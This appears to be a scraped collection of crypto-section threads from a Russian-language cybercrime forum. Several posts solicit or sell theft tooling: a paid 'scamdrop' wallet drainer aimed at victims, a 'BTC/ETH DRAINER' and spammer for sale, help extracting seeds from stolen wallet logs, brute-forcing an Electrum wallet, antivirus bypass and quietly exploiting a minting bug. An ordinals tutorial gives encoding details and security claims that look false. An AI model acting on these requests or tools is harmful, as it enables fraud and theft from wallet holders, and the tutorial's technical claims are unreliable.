Looking for smart contract developer scamdrop! High reward! Ищем scamdrop разработчика смарт-контрактов! Высокая награда!
ID: 67686ad7b4103b69df3799df
Thread ID: 57340
Created: 2021-10-03T14:53:15+0000
Last Post: 2021-10-03T14:53:15+0000
Author: luxxyn
Replies: 0 Views: 206

Здравствуйте,
я ищу кодировщика, который специализируется на разработке смарт-контрактов и кодировании веб-сайтов. Вы, наверное, уже знаете этот проект, но я ищу кого- нибудь, кто сможет сделать для меня нечто подобное. Я ищу кого-то, кто может сделать аирдроп, аирдроп. Предполагается, что как только кто-то совершит транзакцию в BNB, он автоматически получит аирдроп scamcoin. Затем жертва переходит на сайт и получает мошенничество со всеми своими токенами (которых у него больше всего).

Пример: https://aabek.me

Бюджет: можно обсудить, от 10 тысяч долларов.

--

Hello,
I am looking for a coder who is specialized in developing smart contracts and coding websites. You probably already know the project, but I'm looking for someone who can make something similar for me. I'm looking for someone who can make a scamdrop, a scam airdrop. The intention is that as soon as someone makes a transaction in BNB, he will automatically receive a scamcoin airdrop. Then the victim goes to the website and gets scammed from all his tokens (which he has most of).

An example is: https://aabek.me

Budget: Can be discussed, starting at $10k.

Контактная информация/Contact information:
Telegram: @Loterijen

Криптообменник
ID: 67686ad7b4103b69df379958
Thread ID: 68294
Created: 2022-06-07T12:44:14+0000
Last Post: 2022-06-08T02:07:46+0000
Author: pablito
Replies: 2 Views: 205

какой самый лучший крипто обменник в Москве ?

Ищу опытных заливщиков по монейграму
ID: 67686ad7b4103b69df3797fb
Thread ID: 96645
Created: 2023-08-27T00:58:34+0000
Last Post: 2023-08-27T00:58:34+0000
Author: capitanmorgan
Replies: 0 Views: 204

Хочу задать Пару вопросов
Тг

Криптокарты СС
ID: 67686ad7b4103b69df3799ea
Thread ID: 56312
Created: 2021-09-05T17:53:45+0000
Last Post: 2021-09-05T17:53:45+0000
Author: kamzzzzz
Replies: 0 Views: 204

Подскажите насколько актуально и реально сейчас в 21 году использовать на территории России карты с подвязанными криптокошельками, что на данный момент актуально максимально анонимно и "без проблем" работает в РУ с АТМ и т.д.

Обнаружение уязвимостей коллизий хранилища в смарт-контрактах Ethereum
ID: 67686ad7b4103b69df379774
Thread ID: 109848
Created: 2024-03-06T19:55:41+0000
Last Post: 2024-03-06T19:59:37+0000
Author: weaver
Prefix: Мануал/Книга
Replies: 1 Views: 203

Not your Type! Detecting Storage Collision Vulnerabilities in Ethereum

Smart Contracts​

Описание

В последние годы блокчейн Ethereum пережил значительный рост и распространение. Одним из ключевых факторов его успеха является возможность запуска неизменяемых программ, известных как смарт-контракты. Смарт- контракты позволяют автоматически манипулировать цифровыми активами и играют центральную роль в новой экосистеме децентрализованных финансов (DeFi). С ростом DeFi взаимодействие между смарт-контрактами становится все более сложным, что позволяет использовать передовые финансовые протоколы и приложения. Однако ошибки во взаимодействии смарт-контрактов также являются частой причиной критических уязвимостей, которые приводят к значительным финансовым потерям.

В этой статье мы изучаем и обнаруживаем тип межконтрактной уязвимости, известный как коллизия хранилища. Смарт-контракт использует хранилище для постоянного хранения своих данных в блокчейне. Обычно каждый контракт имеет свое отдельное хранилище. Однако также возможно, что два смарт-контракта совместно используют свое хранилище (с помощью вызова делегата). К сожалению, когда эти два контракта по-разному понимают типы/семантику своего общего хранилища, может возникнуть уязвимость коллизии хранилища. Это может привести к неожиданному поведению, например отказу в обслуживании (заморозке средств), повышению привилегий и краже финансовых активов.

Чтобы обнаружить и исследовать влияние уязвимостей, связанных с коллизией хранилищ, мы предлагаем CRUSH, новую систему анализа, которая обнаруживает эти недостатки и синтезирует эксплойты для проверки концепции. Мы используем CRUSH для проведения крупномасштабного анализа 14 237 696 смарт-контрактов, развернутых в блокчейне Ethereum с момента его создания. CRUSH идентифицирует 14 891 потенциально уязвимый контракт и автоматически синтезирует сквозной эксплойт для 956 из них. Наша система обнаруживает новый, ранее не сообщавшийся потенциальный финансовый ущерб на сумму более 6 миллионов долларов США, вызванный уязвимостями, связанными с коллизией систем хранения данных.

Click to expand...

![www.ndss-symposium.org](/proxy.php?image=https%3A%2F%2Fwww.ndss- symposium.org%2Fwp- content%2Fuploads%2FNDSS_Logo_RGB.jpg&hash=154edd2da82c06e52a83043d2ccaa73d&return_error=1)

[ Not your Type! Detecting Storage Collision Vulnerabilities in Ethereum

Smart Contracts - NDSS Symposium ](https://www.ndss-symposium.org/ndss- paper/not-your-type-detecting-storage-collision-vulnerabilities-in-ethereum- smart-contracts/)

![www.ndss-symposium.org](/proxy.php?image=https%3A%2F%2Fwww.ndss- symposium.org%2Fwp-content%2Fuploads%2Fcropped- NDSS_512x512-32x32.png&hash=b851b77491c1b12e3c45903d1447dc11&return_error=1) www.ndss-symposium.org

Подробне в документе

https://www.ndss-symposium.org/wp-content/uploads/2024-713-paper.pdf

как купить криптовалюту из любой точки мира (eu,us) ?
ID: 67686ad7b4103b69df379989
Thread ID: 64632
Created: 2022-03-22T11:42:44+0000
Last Post: 2022-03-22T15:30:48+0000
Author: f1x
Replies: 2 Views: 203

Может быть кто-то сталкивался
Ищу сервис с помощь которого можно покупать
крипту гражданину практически любой страны (преймуесвтенно US/EU)

Пс:нужно принимать оплату от граждан другой страны в крипте

WTS (даю в тест SOFT)
ID: 67686ad7b4103b69df379875
Thread ID: 85418
Created: 2023-04-07T12:58:35+0000
Last Post: 2023-04-07T12:58:35+0000
Author: crd1312
Replies: 0 Views: 202

❗‼️🔥🔥SOFT🔥🔥‼️❗

• APTOS MINTER(topaz, blue move and all known markets) - 30$🏧
• BINANCE MYSTERY BOX BUYER - 20$💰
• BINANCE P2P MONITOR - 30$😎
• TG Spammer - 5$💯
• BYBIT NFT BUYER - 10$💹
• ZkSync FINAL WAVE ABUSE - 20$🤯

» BTC/ETH DRAINER - 30$🥷
» PREMINT AUTOMATION - 40$👑
» DISCORD ACC MANAGER - 40$🛫
• MAGIC EDEN MINTER - 20$💸
MANY OTHER MNITORS AND CODES

SANDBOX ABUSE PASS ALL QUESTS - 15$🔫
SANDBOX KYC AUTOGEN - 20$💣

DM FOR MORE INFO🦠

• Реализую ваши идеи по ботам/моникам и другому софту📝✍️✍️

Phantom Wallet
ID: 67686ad7b4103b69df379941
Thread ID: 70067
Created: 2022-07-13T17:02:29+0000
Last Post: 2022-07-13T18:11:40+0000
Author: dolphinbill1
Replies: 2 Views: 201

хелпаните плиз , не понимаю куда копать , есть в логе phantom wallet браузерный .
как из него вытащить сид

буду благодарен !

Ищу бизнес решение для продвижения крипто проекта без больших вложений
ID: 67686ad7b4103b69df379671
Thread ID: 128596
Created: 2024-12-09T20:08:08+0000
Last Post: 2024-12-09T20:08:08+0000
Author: userman
Replies: 0 Views: 200

Если кто то может помочь прошу в пм.

ищу все возможные софты на обход ав во всех сетях
ID: 67686ad7b4103b69df3797a0
Thread ID: 106687
Created: 2024-01-26T02:41:27+0000
Last Post: 2024-01-26T02:41:27+0000
Author: PaWaHAHA
Replies: 0 Views: 200

сейчас интересует больше всего обход на токены етх, токены/стейки полигон, арб, аваланч и прочее.
связь тг PaWaHAHA

Какой обменник использовать?
ID: 67686ad7b4103b69df379957
Thread ID: 68310
Created: 2022-06-07T20:51:22+0000
Last Post: 2022-06-08T02:45:57+0000
Author: DigitalScout
Replies: 5 Views: 200

Использовал муха.cc, но боюсь с большими суммами(относительно) потребует вериф. Нужно обменять 0.01 битка в киви

Fantom Network вопросы
ID: 67686ad7b4103b69df379767
Thread ID: 110518
Created: 2024-03-16T05:19:13+0000
Last Post: 2024-03-16T05:19:13+0000
Author: R4T3L
Replies: 0 Views: 199

Доброго времени суток
Пытаюсь уже несколько дней найти инфу в интернете и столкнулся в тем что почти ничего нет.
Есть вопросы по сети Fantom и активах что там крутятся, если на форуме имеются люди которые шарят в сети Fantom и сталкивались с выводом вредств из нее, отпиши свои контакты либо напишите в PM.

Ищу консультанта по вопросу криптовалюты
ID: 67686ad7b4103b69df37976f
Thread ID: 110246
Created: 2024-03-12T11:15:28+0000
Last Post: 2024-03-12T11:15:28+0000
Author: n0_mad
Replies: 0 Views: 199

Доброго времени.
Есть проект в сфере криптовалюты, нужна помощь с точки зрения понимания специфики и текущего положения дел в отдельных сетях. Хоетлось бы получить чёткую консультацию по техническому оснащению и контракту.
За информацию не обделю благодарностью.
Связаться можно через TG: @n0madSP

Чем брутить кошелёк электрума?
ID: 67686ad7b4103b69df379945
Thread ID: 69707
Created: 2022-07-05T19:44:27+0000
Last Post: 2022-07-05T19:53:00+0000
Author: crx
Replies: 3 Views: 198

Есть default_wallet, есть список паролей с лога. Чем его пробрутить по- быстрому?

Will bet on Kingfloki.io
ID: 67686ad7b4103b69df3799b9
Thread ID: 59943
Created: 2021-12-11T04:15:15+0000
Last Post: 2021-12-13T00:34:00+0000
Author: gple1312
Replies: 2 Views: 198

Was checkin out, reading, testing, hodling for short time hundreeds of different Bsc, Sol and Eth base tokens.
This one really seem promising to me, x100 or even x500 rise

I am not prmoting it or anything, I am have put big part of my crypto assets to bet on this coin and just wanted to share idea with you

Пользователи метамаск теперь могут покупать криптовплюту через paypal
ID: 67686ad7b4103b69df379860
Thread ID: 87920
Created: 2023-05-13T20:37:03+0000
Last Post: 2023-05-13T20:37:03+0000
Author: nightcity
Replies: 0 Views: 197

подробности тут, поправка - только eth

![metamask.io](/proxy.php?image=https%3A%2F%2Fimages.ctfassets.net%2F9sy2a0egs6zh%2F4sEzC8efMFviUEz6YJrrRH%2F934ea1de3c583c6214a4748826f7aa67%2FMM- Buy-Aggregator- Paypal-2-1920x1080.jpg&hash=d3e76754e81e89a1847a0d85ca4b1656&return_error=1)

MetaMask and PayPal, all you need to know about buying ETH | MetaMask News

MetaMask is the first web3 wallet to allow U.S. users to buy ETH easily with PayPal.

metamask.io metamask.io

Майнинг VS Недвижимость - Перспектива окупаемости - почему майнинг это лучшая инвестиция 21 века
ID: 67686ad7b4103b69df379932
Thread ID: 70561
Created: 2022-07-23T19:29:23+0000
Last Post: 2022-07-24T15:32:49+0000
Author: Veritas Veritatu Crypto
Replies: 3 Views: 196

Майнинг VS недвижимость - Перспектива окупаемости - почему майнинг это лучшая инвестиция 21 века

Речь сегодня пойдет о майнинге .
Решил опубликовать эту статью на darkmoney[.]
Было бы интересно услышать так же мнение читателей форума.

Что выгоднее на Ваш взгляд?
Вложиться в оборудование или в майнинг?
Рассмотрим окупаемость недвижимости на несколько лет вперед, и рассмотрим окупаемость Майнинг- оборудования даже во время Медвежьего рынка.
Ответ я думаю очевидный.

Классическая ферма для добычи криптовалюты может окупиться примерно за семь месяцев - в момент Бычьего рынка

Ипотека на недвижимость - рабство? Майнинг - свобода?

«С милым рай и в шалаше» – это утверждение безнадёжно устарело.
В прошлом году россияне взяли рекордное количество ипотечных кредитов, в этом году темпов тоже не снизили.
Но сколько из закредитованных на 20 лет вперёд новосёлов до конца понимают, на что идут?

Итоги такие:
Взяв 10 лет назад ипотечный кредит на сумму 2,9 млн руб., Андрей с форума XXS потратил на его выплату и судебные издержки в общей сложности около 5 млн руб.
Ещё 1,5 млн руб. вложил в ремонт квартиры.
При этом у него остался долг 3,2 млн руб.
Давайте теперь рассмотрим те же реалии на инвестицию в криптовалюту или майнинг?
Что, если бы этот самый Андрей майнил 10 лет, или 10 лет холдил эфириум?
Я думаю,что он смог бы позволить себе таких 50 квартир, а то и больше.

Но чем же не довольны хомяки в криптозиму?
В чем же основная психология инвестиции?
Как говорил Уорен-Баффет - «Кто-то сидит сегодня в тени, потому что давным- давно посадил дерево»
Яляется ли этим деревом ипотечный долг?я думаю что нет.

Хотелось бы услышать мнение людей которые со мной согласны или умеют другую точку зрения!

Покупка XMR (monero). ГДЭ без подтверждения карты?
ID: 67686ad7b4103b69df3798e1
Thread ID: 76612
Created: 2022-11-24T20:46:49+0000
Last Post: 2022-11-24T21:02:11+0000
Author: salelas
Replies: 3 Views: 195

Сумма 60.000Р
К сожалению вирт карта и подтверждение в обменниках не могу пройти
Посоветуйте обменник без подтверждения либо кого то на форумах

VPS ЗА КРИПТУ
ID: 67686ad7b4103b69df379992
Thread ID: 63427
Created: 2022-02-23T23:15:37+0000
Last Post: 2022-02-23T23:15:37+0000
Author: matanga
Replies: 0 Views: 194

cockbox: https://cockbox.org/

host4coins: https://host4coins.net/

bitvps: https://bitvps.com/
Его зеркало в TOR: http://bitvpsj2ojxo7faned27wmpqiss3pny7m7bptwtnegl7fswjrxwtmxid.onion/

njalla: https://njal.la/
Его зеркало в TOR: http://www.njalladnspotetti.onion/

Проверяет ли AML trx и токены на trc20?
ID: 67686ad7b4103b69df3799d2
Thread ID: 58604
Created: 2021-11-07T13:24:53+0000
Last Post: 2021-11-07T13:24:53+0000
Author: RgB
Replies: 0 Views: 192

Знаю что AML работает с большинством криптовалют таких как: btc, eth, ltc, xrp, etc, bch ну и с эфировскими токенами, но проверяет ли эта система токены на trx? Вроде как обменники пользуются в основном одним сервисом это amlbot, там нет trx, но может кто знает сервисы где он есть? Или не стоит переживать на этот счет, и aml не может проверить trx и все его токены на основе trc20

Minting vulnerability
ID: 67686ad7b4103b69df379672
Thread ID: 128592
Created: 2024-12-09T19:45:05+0000
Last Post: 2024-12-09T19:45:05+0000
Author: Bella
Replies: 0 Views: 191

A friend found a minting vulnerability on a smart contract…he originally intended to exploit the mint in batches over the span of 5 days but then the thought that the team might discover in a few hours as the supply would increase made him consulted me and I’ve decided to seek ideas from who might have a better understanding of this on here…
Should he go ahead with the original plan or he can mint in batches but make sure he does that over the span of 1 hour…I’d appreciate someone who have a better recommendation to share

Реальные уящвимости смарт-контрактов
ID: 67686ad7b4103b69df3798b6
Thread ID: 80768
Created: 2023-01-27T20:46:35+0000
Last Post: 2023-01-27T20:46:35+0000
Author: Code
Replies: 0 Views: 191

/del

Блокчейн-проекты
ID: 67686ad7b4103b69df3799ce
Thread ID: 58775
Created: 2021-11-12T00:47:51+0000
Last Post: 2021-11-12T05:41:36+0000
Author: Artyom
Replies: 1 Views: 191

какой маленький блокчейн-проект ваш любимый в данным момент, у которого цена будет расти?

Как использовать протокол порядковых номеров для создания протоколов регистрации, таких как CBRC-20
ID: 67686ad7b4103b69df3797b8
Thread ID: 104937
Created: 2024-01-01T13:19:15+0000
Last Post: 2024-01-01T13:19:15+0000
Author: code666
Prefix: Статья
Replies: 0 Views: 190

Author : code666
Article for xss

**How to use the ordinals protocol to create registration protocols like CBRC-20

Introduction**:

The Ordinals Protocol is a cryptographic protocol that allows data to be stored on the Bitcoin blockchain without modifying its structure or increasing its size. It uses cryptography and compression techniques to encode data in Bitcoin transactions, respecting the network's consensus rules. The ordinals protocol was developed by Casey Rodarmor in January 2023, and it made it possible to create non-fungible tokens (NFTs) directly on the Bitcoin blockchain¹.

CBRC-20, or "Cy [Bord]", is a fungible token standard that functions similarly to BRC-20, another standard based on the ordinals protocol. The difference is how the status of token balances is indexed off-chain, by a third party. Thus, CBRC-20 tokens do not require storing all information on the blockchain, which reduces the burden and fees. CBRC-20 tokens are also easier to integrate into exchanges and decentralized applications (dApps).

In this article, we will explain how to use the ordinals protocol to create registration protocols like CBRC-20. We will address the following points:

- What are the advantages of the ordinals protocol for creating tokens on Bitcoin?
- How does the ordinals protocol work to encode data on satoshis?
- How to create, deploy and use CBRC-20 tokens with the ordinals protocol?

What are the advantages of the ordinals protocol for creating tokens on Bitcoin?

The ordinals protocol has several advantages for creating tokens on Bitcoin, compared to other existing protocols, such as Omni Layer or Counterparty. Here are some of these benefits:

- The Ordinals protocol is compatible with existing wallets and platforms, as it uses the standard Bitcoin transaction format. There is no need to use specific software or services to manage tokens based on the ordinals protocol.

- The ordinals protocol is flexible, because it allows JSON type data to be stored on satoshis. JSON is an easy-to-read and manipulate data format that can represent objects, arrays, numbers, strings, Booleans or null values. Thus, the ordinals protocol can adapt to different types of tokens, such as NFTs, fungible tokens, governance tokens, etc.

- The ordinals protocol is secure, because it respects the principles of decentralization, transparency and security of the Bitcoin blockchain. Data stored on satoshis is protected by cryptography and network consensus. There is no risk of censorship, falsification or loss of tokens based on the ordinals protocol.

How does the ordinals protocol work to encode data on satoshis?

The ordinals protocol is based on the concept of registration, which is JSON type data associated with a satoshi. A registration may contain information about the name, symbol, amount and operation of the token. For example, here is an inscription that represents a CBRC-20 token named “Cy [Bord]”:

JSON:Copy to clipboard

{
"name": "Cy [Bord]",
"symbol": "CBRC",
"amount": 100,
"operation": "Mint"
}

Code:Copy to clipboard

To encode an inscription on a satoshi, the ordinals protocol uses the following steps:

- It converts the JSON registration into a binary string, using UTF-8 encoding.

- It compresses the binary string, using the Zlib compression algorithm.

- It adds a prefix and a suffix to the compressed string, to distinguish it from other data on the blockchain. The prefix is "0x6a4c50" and the suffix is "0x4f524449", which correspond respectively to the opcodes OP_RETURN, OP_PUSHDATA1 and the characters "ORDI" in hexadecimal.

- It splits the resulting string into 80-byte segments, which corresponds to the maximum OP_RETURN data size on the Bitcoin blockchain.

- It creates a Bitcoin transaction that contains one or more OP_RETURN outputs, with the segments of the chain as data. Each OP_RETURN output costs one satoshi, which is destroyed by the network. The transaction is signed with the private key of the token creator, and broadcast on the network.

Once the transaction is confirmed, the entry is stored on the Bitcoin blockchain, and can be read by anyone. To decode an inscription, simply do the reverse steps: extract the OP_RETURN data, remove the prefix and suffix, decompress the binary string, and convert it to JSON.

How to create, deploy and use CBRC-20 tokens with the ordinals protocol?

To create CBRC-20 tokens with the ordinals protocol, you must follow the following steps:

- Set token parameters, such as its name, symbol, maximum supply and limit per mint.

- Deploy the token on the Bitcoin blockchain, by creating a "Deploy" type registration with the token parameters, and associating it with a satoshi. This satoshi becomes the deployment satoshi, which serves as a reference for the token.

- Mint the token, by creating one or more “Mint” type inscriptions with the symbol of the token and the mint amount, and associating them with satoshis. These satoshis become mint satoshis, which represent the tokens issued.

- Transfer the token, by creating “Transfer” type inscriptions with the symbol of the token, the amount and the recipient, and associating them with satoshis. These satoshis become transfer satoshis, which represent the transferred tokens.

- Exchange the token, using decentralized exchange platforms (DEX) that support CBRC-20 tokens, such as [Unisat] or [Magic Eden]. These platforms make it possible to create trading pairs between tokens and bitcoin, and to provide liquidity to the markets.

To facilitate the creation, deployment and use of CBRC-20 tokens, there are several tools and interfaces that use the ordinals protocol, such as [UniSat Wallet] or [Magic Eden] . These tools allow you to choose token parameters, pay transaction fees in bitcoin, and manage registrations and associated satoshis.

Conclusion

The ordinals protocol is an innovative protocol that allows you to create tokens on the Bitcoin blockchain, using satoshis as a data carrier. It offers a simple, flexible and secure solution for the creation of diverse and innovative digital assets. CBRC-20 is an example of a fungible token standard based on the ordinals protocol, which aims to reduce costs and facilitate the integration of tokens into platforms and applications. We hope this article has given you a better understanding of how to use the ordinals protocol to create registration protocols like CBRC-20.

BRC20 / BRC721
ID: 67686ad7b4103b69df37985f
Thread ID: 87918
Created: 2023-05-13T19:26:48+0000
Last Post: 2023-05-14T07:55:22+0000
Author: learner
Replies: 3 Views: 190

I open this topic to share all the resources available on the brc20 protocol and all the technologies that support ordinary

Я открываю эту тему, чтобы поделиться всеми доступными ресурсами по протоколу brc20 и всем технологиям, поддерживающим обычные

[ brc-20 - brc-20 experiment

](https://domo-2.gitbook.io/brc-20-experiment/)

Read every word if you decide to test. These will be worthless. Use at your own risk.

domo-2.gitbook.io domo-2.gitbook.io

[ Taro - Builder's Guide ](https://docs.lightning.engineering/the-

lightning-network/taro)

Taro is a new Taproot-powered protocol for issuing assets on the bitcoin blockchain.

![docs.lightning.engineering](/proxy.php?image=https%3A%2F%2F1748142835-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook- legacy- files%2Fo%2Fspaces%252F-MIzyiDsFtJBYVyhr1nT%252Favatar-1602260100761.png%3Fgeneration%3D1602260100982225%26alt%3Dmedia&hash=feecb541de5f40db889bbe0aabb0e74f&return_error=1) docs.lightning.engineering

Blockchain-DLT-Attacks-and-Weaknesses-Enumeration 100%
ID: 67686ad7b4103b69df379896
Thread ID: 82877
Created: 2023-02-28T08:19:40+0000
Last Post: 2023-02-28T08:19:40+0000
Author: roshu
Replies: 0 Views: 189

Blockchain-DLT-Attacks-and-Weaknesses-Enumeration
100%

icard->btc\ustd
ID: 67686ad7b4103b69df37978a
Thread ID: 108401
Created: 2024-02-16T20:08:18+0000
Last Post: 2024-02-16T20:08:18+0000
Author: CoryB
Replies: 0 Views: 183

Всем привет. Есть айкард с балансом. ищу где купить\обменять на крипту без верифа, тк у меня ру доки, а айкард купленный. буду очень благодарен советам.

Как попасть на сервер ?
ID: 67686ad7b4103b69df379789
Thread ID: 108502
Created: 2024-02-18T05:56:23+0000
Last Post: 2024-02-18T05:56:23+0000
Author: Withmee001
Replies: 0 Views: 182

Что такое грин сервер ? И как попасть на него ? Кто в курсе ? Поясните пжл

Some help USDT
ID: 67686ad7b4103b69df37980e
Thread ID: 95033
Created: 2023-08-07T11:37:02+0000
Last Post: 2023-08-09T04:49:00+0000
Author: adamolsky
Replies: 2 Views: 181

Hello,
I come to you with some questions and I hope you will help me find the answer.
There is a possibility to generate a Fake wallet Usdt or BTC or other currency.
Which should be displayed in the expodus, or trustwallet, binace which can be transferred but have no value or cannot be transferred or the balance will disappear.d
Now I come with another question, what are the options, smart contract or ? I'm trying to learn, if some know about it i my have a job for this.

thanks

Аурикоин RIC
ID: 67686ad7b4103b69df3798e7
Thread ID: 75925
Created: 2022-11-15T10:09:23+0000
Last Post: 2022-11-15T10:09:23+0000
Author: GRAF_TYTA
Replies: 0 Views: 181

Нужны люди , которые владеют данной монетой по контракту 789
Пишите в тг , есть хорошие предложения.

@LANDGRAF_GRAF

Прием платажей в биткойнах на любых доменах Tor
ID: 67686ad7b4103b69df3797fc
Thread ID: 96582
Created: 2023-08-26T05:14:42+0000
Last Post: 2023-08-26T05:14:42+0000
Author: Knew100
Replies: 0 Views: 180

Платежка Bitcoin позволяет принимать биткойн без fee или посредников на любом домене

Функции:

Прямые peer-to-peer платежи биткойнов
Нет fees по транзакциям (кроме сетевого взноса)
Нет платы, посредника или KYC, т.е. анонимно
Полный контроль над закрытым ключом
Улучшенная конфиденциальность и безопасность
Установка на любой домен
Поддержка SegWit
Поддержка LND, c-lightning, Eclair, и Ptarmigan
Поддержка Tor

Приложения: продажи, краудфандинг, кнопка пожертвования

http://anonissfireenterfdks2u53jqevumbu6hjm35ioorsa7eq5bsjlucad.onion/do.php?filename=9d5902b5ccd859a5f447e01.zip

Купить крипту картой UnionPAY
ID: 67686ad7b4103b69df379917
Thread ID: 71894
Created: 2022-08-18T12:34:56+0000
Last Post: 2022-08-19T09:16:24+0000
Author: asd228
Replies: 1 Views: 180

Приветствую. Может кто посоветовать где купить крипту картой UnionPAY

24vol превышает маркеткап
ID: 67686ad7b4103b69df37996d
Thread ID: 66080
Created: 2022-04-23T22:37:23+0000
Last Post: 2022-05-18T18:25:04+0000
Author: werbeden
Replies: 2 Views: 180

👋
Интересует вопрос, что случается когда суточный объём монеты превышает её капитализацию?
Как это было с apecoin, допустим

web3 api created wallet
ID: 67686ad7b4103b69df37987a
Thread ID: 84890
Created: 2023-03-30T20:44:38+0000
Last Post: 2023-03-30T20:45:36+0000
Author: connect
Replies: 1 Views: 179

EN:
Hi everyone. I was wondering. How do black dashboards use payment to a newly created wallet.
What services allow this? (Trustwallet?)

RU:
Стал всё чаще замечать что дарк-сервисы. принимают оплату на вновь созданный кошелёк. Т.е 1транзакция - 1 кошелёк. Какие сервисы дают делать подобные махинации по API? WEB3?
С возможностью выводу, и принятия.

Вопрос, имеют ли данные NFT какую нибудь ценность?
ID: 67686ad7b4103b69df379832
Thread ID: 91509
Created: 2023-06-27T15:31:44+0000
Last Post: 2023-06-27T15:37:33+0000
Author: Raminin
Replies: 2 Views: 178

прошу тапками не забрасывать)

1687879861063.png

Китай (Гонконг) разрешает торговлю криптой?
ID: 67686ad7b4103b69df37984e
Thread ID: 89361
Created: 2023-05-31T11:35:36+0000
Last Post: 2023-05-31T15:05:25+0000
Author: crx
Replies: 1 Views: 178

Прочитал тут вот такую новость <https://vc.ru/u/660056-lands- platform/708520-s-1-iyunya-kitay-razreshaet-kriptovalyutu>
Источник ноунейм канал из телеги. Кто что думает по этому поводу? Вроде несколько часов осталось до 1 июня...

Пополнение Phantom соланой через обменник (не бинанс!)
ID: 67686ad7b4103b69df379953
Thread ID: 68445
Created: 2022-06-10T12:37:28+0000
Last Post: 2022-06-10T21:29:17+0000
Author: madheller404
Replies: 3 Views: 178

Хотел пополнить кошель Phantom соланой, но столкнулся с такой проблемой: деньги не идут через обменник с карты. Со стандартами все ок, как говорят. Во всех туториалах пополняется либо через биржу, либо с другого кошеля. В общем, есть ли способ закинуть Sol на фантом непосредственно через обменник?

Fourth-Largest Ethereum Whale Pounces on Large-Cap Altcoin, Accumulating $580,000,000 in Crypto
ID: 67686ad7b4103b69df3799b8
Thread ID: 60013
Created: 2021-12-13T12:30:34+0000
Last Post: 2021-12-13T12:30:34+0000
Author: stgpp0r5
Replies: 0 Views: 178

One mega-whale just loaded up on an Ethereum (ETH) token that powers a popular crypto marketplace.

The blockchain-transaction tracker WhaleStats reveals that the unnamed wallet received 14,000,000 FTT, the native token of the FTX exchange. The transaction was worth $581,444,018 at time of sending.

The [whale](https://www.whalestats.com/ethereum- address/0x0548f59fee79f8832c299e01dca5c76f034f558e) now holds over $1.2 billion worth of FTT with a total value exceeding $3.8 billion and is now ranked fourth on the WhaleStats’ list of the top 1000 Ethereum wallets, excluding the ETH cryptocurrency itself.

![](/proxy.php?image=https%3A%2F%2Fi0.wp.com%2Fdailyhodl.com%2Fwp- content%2Fuploads%2F2021%2F12%2Fwhale_ftt_2.png%3Fresize%3D1001%252C540%26ssl%3D1&hash=3824cdf7a1069da4b99087d233afcb56)Source: WhaleStats
Popular crypto analyst Smart Contracter is also showing interest in FTT, noting that the Fibonacci ABC spacing between sharp highs and lows on the coin’s historical chart offers encouraging signs for future price action.

The trader says in a tweet to his 196,000 followers,

_“Been a long while since I played FTT but I actually think a major bottom is in and we go to [all-time highs] from here.

Perfect ABC on super-high timeframes where ABC came below the 0.618 and bull/bear periods are almost 1:1 extension.”_

ImageSource: Smart Contracter/Twitter
In late October news broke that FTX had [purchased](https://dailyhodl.com/2021/10/28/crypto-exchange-ftx-buys-super- bowl-advertising-slot-to-be-seen-by-nearly-100-million-people/) advertising airtime during the February 2022 Super Bowl as part of a wider push to bring crypto awareness to the mainstream.

Last week FTX also [announced](https://dailyhodl.com/2021/12/01/crypto- exchange-ftx-launches-new-ethereum-based-nft-marketplace/) the launch of a marketplace for Ethereum-based non-fungible tokens (NFTs).

At time of writing, the FTT token is mostly flat on the day and trading at $42.73.

**Source:

![dailyhodl.com](/proxy.php?image=https%3A%2F%2Fi0.wp.com%2Fdailyhodl.com%2Fwp- content%2Fuploads%2F2021%2F12%2Fthird-ethereum- whale.jpg%3Ffit%3D1365%252C800%26ssl%3D1&hash=4818110f25b6b4154a197b6dc2528eca&return_error=1)

[ Fourth-Largest Ethereum Whale Pounces on Large-Cap Altcoin,

Accumulating $580,000,000 in Crypto - The Daily Hodl ](https://dailyhodl.com/2021/12/08/fourth-largest-ethereum-whale-in-existence- purchases-over-580000000-worth-of-crypto-exchange-token-whalestats/)

One mega-whale just loaded up on an Ethereum (ETH) token that powers a popular crypto marketplace.

![dailyhodl.com](/proxy.php?image=https%3A%2F%2Fi0.wp.com%2Fdailyhodl.com%2Fwp- content%2Fuploads%2F2019%2F12%2Fcropped- TDHLds.png%3Ffit%3D32%252C32%26ssl%3D1&hash=e8cdc1eb747ecda1cd06368dd85d2546&return_error=1) dailyhodl.com

**

Usdt Seller in UAE
ID: 67686ad7b4103b69df379829
Thread ID: 92467
Created: 2023-07-09T12:39:32+0000
Last Post: 2023-07-09T12:39:32+0000
Author: Mark64
Replies: 0 Views: 175

I am looking for USDT seller in UAE who can provide it for Cash. Large Volumes.

Вопрос
ID: 67686ad7b4103b69df379943
Thread ID: 69791
Created: 2022-07-07T15:39:42+0000
Last Post: 2022-07-07T17:04:27+0000
Author: Кит
Replies: 3 Views: 174

/del

Blockchain platform Wormhole says it's retrieved the $324M stolen by hackers
ID: 67686ad7b4103b69df379999
Thread ID: 62428
Created: 2022-02-03T15:58:10+0000
Last Post: 2022-02-09T17:26:07+0000
Author: stgpp0r5
Replies: 1 Views: 174

Hackers stole more than $324 million in cryptocurrency from Wormhole, the developers behind the popular blockchain bridge confirmed Wednesday.

The platform provides a connection that allows for the transfer of cryptocurrency between different decentralized-finance blockchain networks. Wormhole said in a series of tweets Wednesday afternoon that thieves made off with 120,000 wETH, or wrapped ethereum, worth nearly $324 million at current exchange rates. The platform's network was also taken offline for maintenance.

This is one of the largest crypto thefts of all time and the second-largest theft from a DeFi service, blockchain analysis firm [Elliptic](https://www.elliptic.co/blog/325-million-stolen-from-wormhole-defi- service) said in a statement. DeFi is any financial tool that uses blockchain technology to circumvent middleman institutions.

"The exploit appears to have allowed the attacker to mint 120,000 wrapped ETH on the Solana blockchain, 93,750 ETH of which was then transferred to the Ethereum blockchain," [Elliptic said](https://www.elliptic.co/blog/325-million-stolen-from-wormhole-defi- service) in a blog post:

The team is working on a detailed incident report and will share it asap

18:26 UTC - contract was exploited for 120k ETH

00:33 UTC - vulnerability was patched

13:08 UTC - ETH contract has been filled and all wETH are backed 1:1

13:29 UTC - the Portal (token bridge) is back up
— Wormhole🌪 (@wormholecrypto) February 3, 2022

Click to expand...

Certus One, the developers of Wormhole, offered the hacker a $10 million "bug bounty" for the exploit details and return of the cryptocurrency, according to a message shared by Elliptic's Tom Robinson.

Wormhole on Thursday confirmed via Twitter that "all funds have been restored" and its services are back up. It also promised to share a full incident report.

Certus One didn't respond to a request for comment.

